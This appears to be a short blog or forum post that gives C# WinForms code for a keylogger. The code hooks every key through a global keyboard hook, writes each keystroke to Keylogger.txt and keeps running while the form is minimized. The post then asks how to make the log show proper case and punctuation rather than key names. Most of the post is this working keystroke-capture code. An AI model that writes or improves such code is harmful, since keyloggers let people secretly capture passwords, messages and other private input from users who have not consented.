You'll need this code and to add it to your project solution. Then in the namespace (Form1.cs), add this line:
using Utilities;
When you've done, add this code:
public Form1() {
InitializeComponent();
}
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll() {
foreach (object key in Enum.GetValues(typeof(Keys))) {
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e) {
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
if (File.Exists(@"Keylogger.txt")) {
File.Delete(@"Keylogger.txt");
}
}
void gkh_KeyDown(object sender, KeyEventArgs e) {
StreamWriter SW = new StreamWriter(@"Keylogger.txt", true);
SW.Write(e.KeyCode);
SW.Close();
}
It should write a line of code to Keylogger.txt in the source folder.
This will work when the form is minimized.
That said, here's my trouble:
After reading the text file after the keylogging occurred, i noticed it had the words all in Upper Case, and for punctuation such as SPACE or ENTER, the word space and enter was used.
Any thoughts on this?
Thanks
No comments:
Post a Comment